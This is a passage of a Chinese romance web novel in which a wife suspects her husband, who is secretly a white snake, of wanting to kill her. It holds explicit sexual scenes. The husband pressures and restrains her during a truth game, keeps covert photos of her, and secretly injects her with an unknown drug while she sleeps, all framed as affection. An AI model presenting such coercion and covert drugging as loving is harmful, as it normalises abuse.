兰稚青像只被偷摸了尾巴的兔子一样顿时炸毛,她试图推开沈寂,但是却被沈寂掐着腰按了回去。 “继续亲。” 沈寂故意压低了声音,威胁道:“不然可就不是只有摸摸这么简单了。” 兰稚青被他严厉的语气吓到,她委屈巴巴地又凑了过去,为了她的小绵羊内裤忍辱负重。 好不容易等到手机铃声想起,她顿时如释重负,手忙脚乱地从沈寂的身上爬了下去,瞪着他狠狠擦了擦自己的嘴。 第三回合,两人的顺序再次对调,沈寂把手放在盒子上,兰稚青问道:“于琦不是你杀的,但是十一月二十八号晚上于琦被车撞而且头破血流的事情是你做的。” 沈寂闻言微微一顿,“……不是。” 盒子开始震动。 是假话。 兰稚青难以置信地盯着他,沈寂也不解释,坦然道:“宝宝,现在你可以提要求了。” “……我要看你的手机。” 兰稚青犹豫许久,最终还是选择了一项最合适的要求,试图通过沈寂的手机分析出他更多的蛛丝马迹。 沈寂闻言一怔,他看起来似乎也有些犹豫,不过还是从旁边拿过自己的手机递给了兰稚青。 兰稚青接过手机后立马开始翻了起来,她先点进聊天记录查看沈寂有没有和可疑人士交流,接过发现沈寂的联系人少得可怜,除了她和助理管家外加几个同事外再无别人。 她不死心,又开始在相册备忘录和其他软件里翻找了起来,可是却始终一无所获。 兰稚青思索了片刻,想到沈寂电脑上文件排序的习惯,她果断切屏退了出去,开始在文件管理里查询最近打开的文件,果不其然发现了几十个G的秘密文件夹。 她熟练输入了自己的生日,成功解锁进去,沈寂见状似乎欲言又止,他有些心虚地移开了自己的视线。 兰稚青盯着文件夹里相册的分类,一时间再度陷入了沉默。 【R】,【SR】,【超绝SSR】 她怎么不知道沈寂还在偷偷玩抽卡游戏。 兰稚青有些疑惑地点了进去,猝不及防对上了一大堆自己的超清照片。 “你是不是脑子有病!” 兰稚青恨不得现在就把手机砸到沈寂的脸上。 沈寂有些心虚,辩解道:“我只是比较喜欢摄影……” “你不要在这里歪曲事实,这明明就是偷拍!” 兰稚青气得删光了沈寂秘密文件夹里所有东西,最后才把干干净净的手机还给沈寂。 沈寂见状有些心疼,不过一想到自己还有云端备份,他便暂时冷静了下来,转而开口道:“好了,该我问了。” 兰稚青不情不愿地把手放在了木盒子上,心想哪怕沈寂现在问她们家的老底她都不会再撒谎,免得又掉进他的陷阱里。 沈寂盯着她半响,慢吞吞道:“每次给你舔舔你都要拒绝,但是其实你很舒服很喜欢。” 兰稚青脸色涨红脱口而出:“我才没有!” 木盒子再度开始震动。 “……” 兰稚青抿了抿唇,她默默移开自己的视线。 沈寂弯了弯眉眼,毫不掩饰自己的狼子野心,含笑道:“乖宝,上次你没有开摄像头,现在你自己玩给我看。” “我不要。” 兰稚青听到沈寂的话又羞又恼,她的眼泪又不自觉开始在眼眶里打转,双手死死揪着自己的裙摆不放,“我才不要干这种事情。” “好吧,那换个要求。” 沈寂见状轻轻叹了口气,妥协道:“那我要你的小绵羊内裤。” 这个要求和刚才的要求比起来已经算得上温和,兰稚青眨了眨眼,犹豫着从旁边摸出了那一小块布料,有些不舍地递了过去。 可是沈寂却没有接,他平静道:“你穿上,我要自己拿。” 兰稚青难以置信地抬起了头,她又想靠哭蒙混过关,可是沈寂这次的态度却格外强硬。 他似笑非笑道:“乖乖,眼泪不是什么时候都有用的,我也不介意帮你穿哦。” “……” 兰稚青吸了吸鼻子,默默又缩进了被子里穿上自己的小绵羊内裤。 “过来。” 沈寂朝她伸出了手,兰稚青不情不愿地凑了过去。 “宝宝,要撩起来哦,挡住了我没办法拿。” 兰稚青忍气吞声撩起了自己的裙摆,沈寂的手指勾住了那一小块布料,可是他并不急着褪下来,手指反而顺着又摸了进去。 “……你要拿就拿,不准再做别的!” “这样好没有礼貌,宝宝,上次我教过你怎么才能舒服吧……你看,现在它又乖乖在和我打招呼了。” 沈寂凑过去含住兰稚青的唇瓣,眼见着兰稚青的腿又想要合上,他指尖的动作警告似地加重了些许。 兰稚青呜咽了一声,她伸手想要把沈寂推开,崩溃道:“你松开我,我不玩了……” “乖乖,你应该知道我已经对你很好了,我提的要求一点都不过分。” 沈寂随手从旁边被冷落的纸牌里抽了一张,慢吞吞念道:“戴上项圈,给对方当一个小时的乖狗狗。” “宝宝,你知道乖狗狗是什么当的吗?” 他的手指擦过了兰稚青的脖颈,“狗狗要戴上项圈,如果你敢跑,我就会把你给拽回来。” “狗狗也不能穿衣服,而且还要戴上尾巴……如果你不听话,那么你不听话,那还要在突出来的地方夹上夹子,虽然它这次乖乖跟我打招呼了,但是由于它的主人不听话,所以它也只能跟着接受惩罚,不过没关系,还有另外两个朋友陪着它一起。” “你知道如果我轻轻拉一下你会有什么感觉吗……就像是这样。” 兰稚青眼眶含泪,她再度剧烈挣扎了起来,可是却被沈寂轻松制住。 “你会觉得它被扯着拉长,如果夹子太牢固一直不掉,那它就只能被一直拉着,等到取下夹子的时候,它可能已经回不去了,到时候你只能乖乖待在床上,不管是你的小恐龙还是小绵羊你都没办法穿了。” 兰稚青哆嗦了一下,她的大脑一片空白,刚刚还在挣扎的双腿无力垂了下来。 “……怎么还是这么快。” 沈寂见她脸上还可怜巴巴地带着眼泪,他凑过去轻轻吻她,开口哄道:“我开玩笑的,我们宝宝才不是狗狗,宝宝是最可爱的兔兔。” 兰稚青没有说话,她的小绵羊彻底变成湿绵羊,沈寂顺利拿走了自己的战利品。 第四回合,兰稚青把自己又埋进了被子里,在气恼之下也顾不上许多,直接开口问道:“你是不是想杀了我?” 沈寂愣了一下,肯定道:“我从来没想过要杀你。” 盒子没有动。 是真话。 沈寂竟然不想杀她? 这测谎仪是不是坏了…… 兰稚青一脸怀疑地探出被子,把自己的手放到了木盒上。 沈寂挑了挑眉,问道:“你之前说想和我离婚,这是真话还是假话。” 兰稚青:“真话。” 盒子没动,是真话。 第五回合,兰稚青不死心,继续发问:“你是不是也有和我相关的事瞒着我?” 沈寂面色沉静,回答道:“是。” 盒子没动,是真话。 再次轮到沈寂发问,他沉默了许久,盯着兰稚青半响,突然问道:“你爱不爱我?” 兰稚青垂下了眼眸,实话实说道:“……不爱。” “……” 安静了许久盒子突然在此时剧烈震动起来。 第36章 第36章五分钟也算进步 兰稚青和沈寂盯着木盒子同时陷入了沉默。 “我不要玩了。” 兰稚青脸色冷了下来,她抓起那个木盒子扔给了沈寂,自己拉过被子把自己严严实实裹了进去。 果然这就是沈寂弄出来占她便宜的坏东西,测的根本一点都不准。 它凭什么说她爱沈寂,它只是一个什么懂的破盒子,就连她自己甚至还没有弄清楚爱的定义是什么,它凭什么这么肯定她的想法。 什么样的人才是值得被她爱的。 她或许曾经爱过她的家人,可是花了近二十年的时间才意识到这只不过是自己的一厢情愿。 而沈寂……她和他从认识到现在甚至还不到一年,在他们相处的大半时间,她都一直在怀疑自己会被他杀掉。 她竟然会这么迅速爱上一个想要杀了她的人,这难道不是对自己的再度背叛吗? 如果沈寂不爱她,那她又要花多长的时间才能摆脱这种阴影。 兰稚青觉得她的思维又再度走入了死胡同。 周老师总说她的想法太过悲观,可是兰稚青只是觉得害怕,她不想再被人当成垃圾一样抛下。 连与她血脉相连的亲人都不能爱她,沈寂为什么要爱她…… “宝宝,不要把自己闷在被子里……” 沈寂没有想到兰稚青的反应会这么大,他见兰稚青一直躲在被子里,下意识想要把她从里面捞出来,可是手指才刚刚碰到被子,就遭到了兰稚青的剧烈抵抗。 “不要碰我!” 兰稚青死死拽着被子不松手,声音略带哭腔,尖叫道:“我要睡觉!你不准碰我!” 沈寂闻言愣了一下,他只能暂时性松开手里的被子,转而改成安抚性的拍打,轻声问道:“怎么了宝宝,是不是有哪里不舒服?” 兰稚青躲在被子里不吭声,不管沈寂怎么哄都不愿意和他说话。 沈寂见此只能让步,他轻轻叹了口气,起身离开房间准备去拿新的被子。 兰稚青听到了房门关上的声音,她犹豫了一下,还是小心翼翼从被子里露出了头,探手拿过被沈寂遗忘在一旁的木盒子。 她吸了吸鼻子,小声道:“我讨厌我爸妈。” 盒子没什么反应。 兰稚青犹豫了一下,又小声道:“我讨厌兰智刚和兰智正。” 盒子没什么反应。 兰稚青顿了顿,声音几乎微不可闻:“我讨厌沈寂。” 盒子像是发了疯一样疯狂震动。 “……” 坏东西!坏东西!! 兰稚青邦邦给了盒子两拳,可是不仅没把它砸消停,反而把自己的手给砸得生疼。 她气得把盒子扔到了旁边,自己缩回被子继续偷偷抹眼泪,假装刚刚什么都没有发生。 沈寂把新被子放在了床上,转而又半跪在兰稚青的床边,对着快把自己裹成毛毛虫的兰稚青软声哄道:“宝宝,别生气了,我给你拿了新的小恐龙内裤,绝对和你之前的一模一样。” 兰稚青没说话,她的手默默顺着被子的缝隙伸了出去,接过沈寂递过来的内裤后又飞快缩了回去,看起来像是一只警惕的小蜗牛。 沈寂见状耐心道:“我把妮妮也带过来了哦。” 小蜗牛再度探出了自己的触角,她抓住了沈寂递过来的兔子玩偶,而后再度缩回了自己的壳里。 虽然她的声音很小,但是沈寂还是能听到她细微的抽泣声。 他倒是可以在兰稚青伸手的时候把她直接拽出来,或者直接把被子扯开把她抓出来,这样固然简单直接,可是他不希望自己在兰稚青的心里留下这么超雄的印象。 “晚安。” 沈寂随手关掉了房间的灯,整个房间内顿时陷入了一片黑暗,但是他并没有闭眼睡觉,而是在沉默许久后轻声开口道:“宝宝,对不起,我从来没有想过要杀你,我和你在一起只是因为爱你……” 兰稚青没有回答,她缩在被子里自我封闭,直到许久沈寂才听到轻微的窸窸窣窣声音,应该是兰稚青在穿她的小恐龙内裤。 沈寂心知自己今晚应该是不会等到回应了,他需要给兰稚青留出足够的时间去接受和消化。 今天晚上注定是个不眠夜,不过也并非是全无收获。 沈寂在心里轻轻叹了口气,他隐约知道了兰稚青为什么总是会对自己略带抗拒的原因,或许她早就已经发现了异常。 他有心想要解释,可是却又不知该从何辩解。 整个房间陡然陷入了诡异的寂静。 沈寂觉得自己第一次这么烦恼,睡在他身旁的兰稚青似乎也心事重重。 她裹在被子里沉默了许久,像是兔子打洞一样刨开了被子的一角,而后小心翼翼蹭进了沈寂的被子里。 “怎么了宝贝……” 沈寂从她掀开被子的时候就有所察觉,感受到她朝自己靠了过来,下意识伸手抱住了他,可是指尖却毫无阻隔触碰到了她的皮肤。 他愣了一下,发现本该穿在兰稚青身上的睡裙早就不翼而飞,她就这么坦诚地趴在他的身上,柔软白皙的脸颊上还带着未干的泪痕,像是一条刚刚学会化形的笨拙小蛇。 沈寂:“……” 太超过了,他是不是刚刚不小心睡着了还没醒。 “乖乖,怎么了,是不是睡不着?” 沈寂觉得自己这个时候还是应该装一下正人君子更符合自己的人设,所以强压下心中的意动,抱着兰稚青坐了起来,伸手想去旁边摸她的睡衣,温声道:“还 要不要听故事……” 他的话还没来得及说完,后面的音节就突然化为了一声闷哼。 兰稚青眨了眨眼,眼里积蓄已久的眼泪又掉了下来,沈寂吓了一跳,他下意识想要分开,可是却又遭到了她的剧烈抵抗。 “宝宝,别闹,刚刚是不是弄疼你了……” 沈寂下意识想要开灯查看兰稚青的情况,可是她却像一条水蛇一样死死缠着他不放,她把头埋在他的颈窝处不停掉着眼泪,声音轻到几乎听不清。 “不要扔掉我……” “什么?” 沈寂闻言一怔,他连忙捧起了兰稚青的脸颊,迫使她和自己对视,无比清晰道:“宝宝,你要记住我爱你,你是我在这个世界上最珍贵的宝贝,我不管怎样都不会把你丢下的。” 他顿了顿,又开口道:“你等一下,我去拿獬豸角过来……” 兰稚青没有沈寂那么好的夜视能力,在黑暗之中她看不清他脸上的神情,只是摸索着吻上了他,打断了他接下来的行为。 沈寂后面似乎还凑到她的耳边说了些什么,但是她早就已经听不清了,她跪坐在他身上半晌,很快又呼吸急促地软了身子。 “……” 算了,五分钟也是进步。 沈寂见她没了力气,刚刚准备抱着她换个姿势,可是没想到兰稚青趴在他身上歇了一会儿,一边不停掉着眼泪一边又像条不老实的小蛇一样扭动了起来。 她吸了吸鼻子,带着哭腔道:“我会做好的……” 沈寂:“……” 好罪恶,明明他什么都没做,为什么总有一种良家兔被自己胁迫的感觉。 “乖乖,你不累吗?” 沈寂犹豫了一下,主动道:“你今天是想在上面吗,要不要老公帮一帮你……” 兰稚青没说话,因为她又像只死蛇一样趴在了沈寂的身上。 沈寂:“……” 果然以笨兔子的阈值,五分钟只是超常发挥,三分钟才是真实水平。 平时由他主导的时候他都会特意控制一下不要让兰稚青受的刺激太大,现在兰稚青自己掌握节奏,完全就是一头横冲直撞的小犀牛。 沈寂轻轻叹了口气,他眼睁睁看着兰稚青又颤颤巍巍地直起了身子,她一边抹着眼泪一边又想继续,上面下面一起哭,沈寂真的担心她今晚会脱水。 “乖乖,你到底是怎么了?” 沈寂轻轻摸了摸她的脸颊,发现她脸颊的温度又带着不正常的灼热,他轻轻皱了皱眉,下意识想要起身。 “不要走……” 兰稚青见沈寂要离开更是死死缠着他不放,她几乎整个人都挂在他的身上,眼泪还在掉个不停。 沈寂叹了口气,他只能把她抱在怀里,手指熟练找到地方重重按了几下,不过片刻兰稚青就开始夹腿想要把他推开,可是却又被沈寂残忍镇压住。 兰稚青呼吸急促,她整个人彻底软成了面条,倒在床上许久都没缓过神来。 沈寂俯身轻轻亲了亲她的脸颊,低声道:“等我两分钟,我马上就回来。” 兰稚青一脸茫然,她觉得自己的大脑仿佛已经失去了思考的能力,唯一能够感受到的就是自己身上奇怪的焦灼感。 沈寂很快端着一杯水回来,他把手里的白色药片喂进她的嘴里,将水递到她的面前,温声道:“宝宝,你发烧了,别担心,吃两片药就好了。” 兰稚青顺从地吃下了药,药物见效很快,她缩在被子里闭上眼睛,很快就步入了梦乡。 沈寂紧紧抱着她,直到确认她真的已经睡着,他才缓缓起身离开,许久又拿着针管回来。 他在黑暗中依旧能非常精准地找到兰稚青的血管,干脆利落地将针扎了进去,里面的透明液体被缓缓推了进去,而兰稚青却毫无察觉。 沈寂拔出了针,他有些心疼的亲了亲兰稚青手臂上留下的痕迹, 有了之前的教训,他这一次将针管和药都处理得干干净净,这才终于上床紧紧抱住了兰稚青。 他感受着熟悉的气息,忍不住凑过去咬了咬她的脸颊。 坏兔子。 只有她自己一个人舒服了,下次一定要加倍讨回来。 …… 时间一分一秒地流逝,兰稚青睡得不是很踏实,她努力睁开沉重的眼皮,在昏暗之中,依稀看到一条巨大的白蛇正缠在她的身上。 她脑子有些发木,所以下意识抬手掐了一把自己的脸颊。 ……好疼。 这次终于确定了。 原来真的不是在做梦。 第37章 第37章你怎么有两根 所以说…… 真的有一条大白蛇睡在她的床上。 兰稚青大脑一片空白,整个人僵在原地完全做不出半点反应。 那条白蛇在睡梦中用头轻轻蹭了蹭兰稚青的颈窝,似乎是察觉到了些许的不对,它有些茫然地睁眼抬头看向了兰稚青。 一人一蛇在黑暗中漫长对视,彼此都在对方的眼中看到了恐慌。 兰稚青手无寸铁,她脸色苍白无比,在危机时刻只能一边尖叫一边抬手邦邦两下砸向白蛇的脑壳。 白蛇吃痛和她分开,还未等到兰稚青继续打,它就已经慌里慌张从床上滑了下去,速度极快消失在黑暗之中。 好不容易恢复自由的兰稚青手忙脚乱打开了灯,发现卧室的门不知道什么时候被人打开,刚刚那条白蛇也早就已经消失得无影无踪。 等一下…… 沈寂去哪了? 兰稚青环视了一圈空荡荡的卧室,脸色无疑变得更加苍白了起来。 沈寂不会已经被蛇吃了吧?! 意识到这一种可怕的可能,兰稚青顿觉毛骨悚然,整个人如坠冰窟,她慌手慌脚地爬下了床,随手抓住了一个花瓶,小心翼翼地开门走了出去。 室内没有开灯,她只能开着手机自带的手电筒照明,在黑暗之中徒劳寻找那条巨大的白蛇。 宽大的落地窗外是繁华的江景,有零星的霓虹灯光反射进了室内,依稀照出一条蛇影飞快掠过了玄关,而客厅里还有倒着的人影。 “沈寂?!” 兰稚青见状也顾不得那么多,她踉跄着跑了过去,下意识探手想要去试一试他还有没有呼吸。 “……怎么了宝宝。” 沈寂有些茫然地睁开眼睛,看到趴在自己身上哭的兰稚青明显一怔,他下意识把她抱进了怀里,起身打开了室内的灯。 原本昏暗的室内顿时被灯光照亮,沈寂抬手捂住了兰稚青的双眼,直到确认她能适应才缓缓松开自己的手。 “蛇……那条蛇又出现了。” 兰稚青神色惊恐,她死死攀附在沈寂的身上,哆嗦道:“刚刚它就睡在床上,我敢肯定刚刚绝对不是在做梦。” “乖乖,别害怕。” 沈寂侧头亲了亲她的脸颊,安抚道:“没事了,我现在就过去看看。” “它……它不在卧室,我刚刚看到了,它跑到玄关去了,和之前那一条蛇一模一样。” 兰稚青觉得自己大脑嗡鸣不停,她趴在沈寂的怀里颤声道:“怎么办……要不我们报警吧,它万一把我们吃了怎么办。” “别怕别怕,我现在去玄关看看。” 沈寂闻言本来想把兰稚青放下,但是兰稚青又瑟缩着躲回了他的怀里,带着哭腔道:“你不准走!别丢下我一个人……” “好了好了,先不要哭了。” 沈寂有些无奈,只能抱着兰稚青一起去玄关查看情况。 玄关处早就不见半分白蛇的身影,唯有大门处敞开,不知道是什么时候被打开的。 “看起来那条蛇好像已经出去了……” 沈寂随手关上了门,兰稚青眨了眨眼,神色却变得更 加惊恐,“它竟然还会自己开门?!” 这蛇难道是真的成精了不成,偷偷溜进来也就算了,现在连门都会自己开了。 沈寂联系了物业过来查看情况,本来想抱着兰稚青回房间,可是却遭到了她的极力抵抗,她现在已经对卧室的床有阴影了,宁可待在客厅也不想回去。 沈寂没办法,只能抱着她先坐在沙发上,一边安抚着她的情绪一边听着她讲述刚刚发生的事情。 “……我一睁眼就看到那条蛇睡在我的旁边,它不会是从A市闻着我们的味道一直迁徙过来的吧,可是现在是冬天……它怎么不冬眠啊。” 兰稚青一提起那条白蛇就忍不住打哆嗦,她坐在沈寂腿上撑起身子,可怜巴巴抹着眼泪道:“对了,你为什么会倒在客厅里……” “……我也不太记得了。” 沈寂轻咳了一声,有些心虚道:“我一醒来就发现自己躺在客厅里。” “那一定是那条蛇把你搬过去的!” 兰稚青极为笃定,解释道:“你太大只了,它没办法一口气吃进去,所以就打算先把我吃了。” 她吸了吸鼻子,又委屈道:“我没在房间里看到你,以为你被它吃掉了。” 沈寂有些心疼地帮她擦拭眼泪,轻声道:“怎么会呢,指不定那条蛇是吃素的……” “要不我们搬去国外吧。” 兰稚青不知是想到了什么,她突然抓住了沈寂的手,颤声道:“我们搬到国外去住。” 沈寂闻言一怔,“怎么突然要搬去国外……” 兰稚青擦了擦眼泪,咬牙切齿道:“就算那条蛇是吃素的,可是AKM不是吃素的。” “……” 在房间内出现了蛇不是一件小事,物业几乎是地毯式把整栋楼的安全通道都搜了一遍,可是始终一无所获,别说是看见有蛇了,就连个蛇影都没有在监控里找到。 兰稚青越想越怕,甚至特地从厨房拿了把菜刀用来防身。 沈寂本来见她害怕想要带她出去住,可是兰稚青一朝被蛇咬十年怕井绳,总觉得出门不安全,毕竟那条蛇离开他们家门后还没被找到,指不定他们一打开门就会偷袭他们。 沈寂想把她哄回房间再睡一会儿,可兰稚青又觉得密闭的房间不太容易跑路,两个人大晚上待在客厅像是熬鹰一样生熬,沈寂一向觉少,他倒是没什么不适,但兰稚青本来就没睡好再加上睡前还吃了药,不多时就已经开始打哈欠。 “乖乖,睡吧,别害怕,我在这里呢。” 沈寂抱着她像是安抚婴儿一样轻声哄着,兰稚青上下眼皮在一直打架,终于有些坚持不住。 她手里握着的菜刀被沈寂拿走放在了一旁,沈寂帮她掖了掖身上盖着的毯子,感受着她的呼吸渐渐变得均匀。 总算是睡着了…… 沈寂心里终于松了口气,他抱着兰稚青起身去了客房,把她好好放在床上盖好被子,凑过去小心翼翼亲了亲她的额头。 兰稚青似有所感,她在梦里睡得也不是很安稳,嘴里不知道嘟囔着什么翻了个身,马上又陷入了沉睡。 这是书生兰稚青第三次刷新任务点。 兰稚青背着沉重的书篓,环视着周遭熟悉的荒郊野岭,心想自己还不如被那条白蛇直接吞了,也免得再受这种折磨。 第一回她上京赶考意志不坚定,中途被人骗到了富商家里,差点和蛇妖成亲。 第二回她下定决心上京赶考,好不容易金榜题名,结果又被公主强取豪夺,还有了半兔半蛇的怪物蛋。 第三回…… 兰稚青想了想,觉得功名利禄不过浮云,还不如回家种地来得实在。 她毫不犹豫扔下背上的书篓,转头往反方向而去,走了半日才终于回到自己家中。 “你怎么回来了,不是要进京赶考吗?” 穿着素净衣衫的沈寂看到兰稚青喘着粗气跑了回来吓了一跳,他连忙端了一碗水递到她的手中,担忧道:“可是路上盘缠不够了?” 兰稚青咕嘟咕嘟把碗里清甜的水一饮而尽,拿袖口摸了摸自己的嘴巴,淡淡道:“不考了,功名利禄比不过田园乡居,往后你我二人好生过日子,不会比那些王公贵族差到哪去。” 沈寂闻言似乎有些欲言又止,可作为十里八乡有名的贤惠人,他深谙三从四德的道理,对此默默应了下来。 两人成婚不过半年,正是郎情妾意两相情好之时,沈寂也不愿她远走他乡,如今见兰稚青要留在家中,更是每日小心侍奉,生怕再惹了她不喜。 兰稚青熬了三回终于熬到了清净日子,她白天与沈寂耕田织布,晚上两人同塌而眠,后来攒够了钱,还在城中开了一家药铺,生意蒸蒸日上直奔小康,左邻右舍都说从来没见过他们这般天造地设的一对。 果然,这就说明了一个道理。 百无一用是书生,与其卷生卷死,不如原地躺平。 兰稚青躺在摇椅上摇着蒲扇,心中暗叹贫贱之知不可忘,糟糠之妻不下堂。 她要是当初安心待在家里,没和富商千金还有造反公主混在一起,不就也没有这么多事了吗? “阿弥陀佛,贫僧偶然路过此地,见施主面带妖气,想必是家有妖怪。” 兰稚青听到动静猛然起身,她见药铺门口站着一个和尚,没好气道:“哪来的妖怪,家中只有我夫妻二人,你要是再敢胡说,小心我让人把你打出去。” 和尚闻言开口道:“施主若是不信,大可拿了雄黄酒给他喝下,便知真假。” 兰稚青前两回已经在这上面吃了亏,心中也存了几分疑虑,与那和尚相约日落时分一同去看个究竟。 她买了一坛雄黄酒,回到家中哄着沈寂喝下,可奈何自己酒量不好,不仅没有把沈寂灌醉,反倒把自己喝的晕了头。 兰稚青迷迷糊糊,她摸了一把沈寂的手臂,奇怪道:“你的手臂怎么变得这么粗啊。” “乖乖,这是为了更好地抱住你呀。” 兰稚青闭着眼倒在桌上,又问道:“你的身上怎么这么凉啊。” “乖乖,那是为了夏天和你抱在一起的时候更舒服呀。” 兰稚青打了个酒嗝,她蹭了蹭沈寂,纳闷道:“咦,可是你怎么有两根……” “乖乖,那当然是为了能好好吃掉你。” 兰稚青睁开双眼,发现一条巨大的白蛇正把自己往床上拖,她一时间尖叫出声,拼尽全力挣扎起来,高呼让和尚进来救她。 可是和尚早就不知去了哪里,兰稚青只能眼睁睁看着那条白蛇褪去了她的衣衫,扒掉了她心爱的小恐龙,鲜红的蛇信舔舐着她的脸颊脖颈,蛇尾更是灵活地缠住了她的腿。 “放开我!放开我……” 兰稚青崩溃大哭,可是那条白蛇却丝毫没有放过她的意思,那双淡金色的眼睛直勾勾盯着兰稚青,突然间口吐人言,义正辞严道:“本想让你进京赶考光宗耀祖,没想到你这般懒散,今日我便要好好罚你不好好读书。” “你骗人!” 兰稚青闻言更加剧烈挣扎起来,“我上京赶考会被你拐去成亲,就算考取功名还是会被你抓着当驸马!” 白蛇眨了眨眼,默默移开了自己的视线。 “我是蛇,听不懂人话,不知道你在说什么。” “?!” 第38章 第38章想不想知道自己极限在哪…… 兰稚青猛然睁开了双眼,她在梦里大声尖叫,可是在现实中只是重重哆嗦了一下,梦中的恐怖似乎还残留在骨血之中,她拼命平复自己的呼吸才让自己冷静下来。 太不吉利了,真的是太不吉利了。 兰稚青环视了一圈四周,发现自己躺在客房的床上,应该是昨晚沈寂趁她睡着把她抱进来的。 她没有多想,只是病急乱投医,胡乱抓起了放在旁边的手机,点开搜索栏搜索“为什么会经常做梦梦到蛇。” 她顿了顿,又补充了一句:“从唯物主义的角度。” 搜索到的回答五花八门,甚至有的还附上了借以佐证的个人经历。 以荣格为代表的分析心理学派认为蛇是集体无意识中的阴影原型,是个体不愿意承认的原始本能,例如求生欲,攻击欲或X欲,代表自我与阴影的冲突。 以弗洛伊德为代表的精神分析学派认为梦见蛇代表被压抑的X冲动,尤其当梦中被蛇所缠绕,可能暗示个体对X欲望的 焦虑或矛盾。 兰稚青:“……” 荣格一巴掌,弗洛伊德直接降龙十八掌。 兰稚青关掉手机扔到了一旁,自己倒回柔软的被子中,觉得自己的脑袋都像是要涨开一样泛着钝钝的疼痛。 这全都要怪那条白蛇…… 昨天晚上她整个人处于恐惧之中,来不及思考那么多,现在清醒过来了,反倒是觉察出些许的不对劲。 A市和F市虽然算不上远,但也的确也称不上近,光是坐高铁车程都需要四个小时,一条这么大的白蛇竟然能在大冬天从A市跑到F市,不仅一路上没有被人发现,而且还能精准找到她所在的位置。 这种事情未免也太离谱了吧。 兰稚青百思不得其解,她在床上抱着被子翻滚了几圈,听到了轻微的开门声,她下意识闭眼装睡。 沈寂脚步轻盈地走了进来,除了轻微的关门声外几乎听不到任何声音,他缓缓靠近最后在床边站定,歪头盯着兰稚青的背影半响,突然间把手探进了被子。 “你干什么!” 兰稚青打了个激灵,猛然坐了起来,恼羞成怒地瞪着面前的沈寂。 沈寂轻笑了一声,他慢条斯理收回了自己的手,无辜道:“我还以为宝宝是在假扮睡美人,等着我叫醒你呢。” “你不准侮辱睡美人……” 兰稚青在被子底下整理好自己的小恐龙内裤,咬牙切齿道:“睡美人里的王子才没有像你这么不要脸。” “哦,那我们说的可能不是同一个睡美人。” 沈寂挑了挑眉,慢吞吞道:“如果你想听的话我现在可以给你讲一讲……” “我才不要听!” 兰稚青气得脸色涨红,又把自己裹在了被子里。 青天白日朗朗乾坤,她才补药听沈寂改编的成人童话! “我开玩笑的,别生气呀。” 沈寂见状也不恼,他坐在床边戳了戳兰稚青裹成的蚕茧,温声道:“宝宝,我已经把早餐做好了,吃过早餐之后再睡回笼觉吧,不然很容易像上次那样低血糖的。” “……我不吃。” 兰稚青艰难从被子里探出了头,有些犹疑开口问道:“那条蛇处理了吗?” “还没有找到,不知道它是逃到哪里去了。” 沈寂闻言面不改色,甚至颇为认真地想出了一个解释,“也很有可能它是游到江里了,毕竟我们住在江边,晚上那么黑,它就算潜进去也没人会察觉。” 兰稚青一脸震惊,诧异道:“它还是条水蛇?!” 从A市一路游到F市,别说是水蛇了,就算是赖皮蛇来了也有点难度吧。 “不清楚呢,总之它现在肯定不在我们家,宝宝你也不用再害怕了。” 沈寂试图让兰稚青放下心来,可是兰稚青却还是保持警惕,她缩在被子里只露出自己的眼睛,眼神略带怀疑地打量着面前一脸无辜的沈寂,心里陡然冒出了一个可怕的猜想。 那条白蛇…… 该不会就是沈寂养的吧?! 兰稚青忽觉自己茅塞顿开,所有困惑自己已久的疑问都得到了解答。 她总算知道为什么A市的家里会有一个一直上锁的房间,也终于明白为什么沈寂到哪那条蛇就出现在哪里,更明白了这条白蛇到底是怎么从A市跑到F市的。 可是这样一想就更离谱了。 沈寂养的蛇为什么要往她床上放!难不成还想伪装成意外事故弄死她不成?! 可是那也不对啊……测谎仪当时明明测出沈寂说的是真话,他应该不会想杀了她才对啊。 等一下,为什么她这么容易就相信了测谎仪是真的,万一这东西就是沈寂弄出来打消她戒心的呢…… 兰稚青觉得自己的大脑一团浆糊,完全分不清到底哪个才是真正的真相。 而也就是在这个时候,一直想把她从被子里捞出来的沈寂找到了时机,他见兰稚青放松了警惕,眼疾手快掀开被子把她抱了出来。 “你松手!快点放开我!” 兰稚青猝不及防被沈寂从她的安全小窝里抓了出来,她死死搂着沈寂的脖颈,视线警惕地巡视着四周的情况,生怕那条白蛇又会突然窜到她的面前,甚至洗漱的时候她都要先排查一遍周遭有无可以被蛇躲藏的地方。 沈寂似乎察觉到了她的担忧,随口问道:“我把主卧收拾好了,你要不要……” “不要,我就要住在客房。” 兰稚青毫不犹豫选择了拒绝,虽然主卧更大更宽敞,甚至还有她喜欢的落地窗,但是现在明显是东西更少的客房看起来更安全一点。 地方小,东西少,那条蛇就算来了也没有可以躲的去处。 沈寂闻言没什么异议,他早起炖了海鲜粥,在递给兰稚青之前他犹豫了一下,垂眸先当着兰稚青的面尝了一口。 对上兰稚青诧异的眼神,他解释道:“我不太记得自己有没有放盐。” 不仅如此,他在兰稚青动筷之前,几乎将桌上的所有东西都先尝了一遍,免得再被兰稚青误会自己在食物里下毒。 兰稚青看起来对此没什么反应,她低头沉默喝粥,心知沈寂是在为她昨晚所问的问题表态。 可是她不知道自己该作何反应,她既不能大大方方和沈寂把一切摊开了实话实说,告诉他“其实我之前在家里的垃圾桶里发现了好多玻璃小瓶,我甚至还特地花钱去研究所做了鉴定”,她也不能像装作没事人一样和沈寂撒谎,虚伪说什么“其实我从来都没有怀疑过你,只是和你开个玩笑”,即使她已经和沈寂撒了很多的谎。 两人从来没有像现在这样沉默又安静地在一起吃过饭。 沈寂见兰稚青低头不理会自己,他以为兰稚青还是不相信自己,心里不免有点委屈,赌气不愿意主动开口。 而兰稚青虽然低头不语,脑子里却在疯狂思索问题的答案。 沈寂已经为此做出让步,那她是不是也该稍微努力一下。 如果测谎仪是真的,假如她是真的爱沈寂,那她是不是也该更加坦诚一些。 兰稚青食不知味地嚼着嘴里的红豆饼,放在旁边的手机却突然响了起来,她扫了一眼屏幕上的备注,下意识选择了挂断,转而给对方发去了消息。 【有事发消息就行,不用打电话。】 手机那头的兰母显示了许久的正在输入,最后只发来了干巴巴的一句话。 【青青,爸爸妈妈对不起你。】 兰稚青闭了闭眼,她默默把手机扣在了桌子上,低头继续沉默喝粥。 按照正常的流程,这个时候她应该掉几滴眼泪,或者打电话回去声嘶力竭地怒吼,怒斥他们为什么要骗了她十几年,让她一直背负着沉重的愧疚。 他们要求她为了家里付出,因为她小时候的走丢害得母亲丢了工作,父亲欠了外债,大哥因为她错失进城读书的机会,小弟因为她被迫留级一年,所有人都说因为她的过失,害得他们所有人都一落千丈。 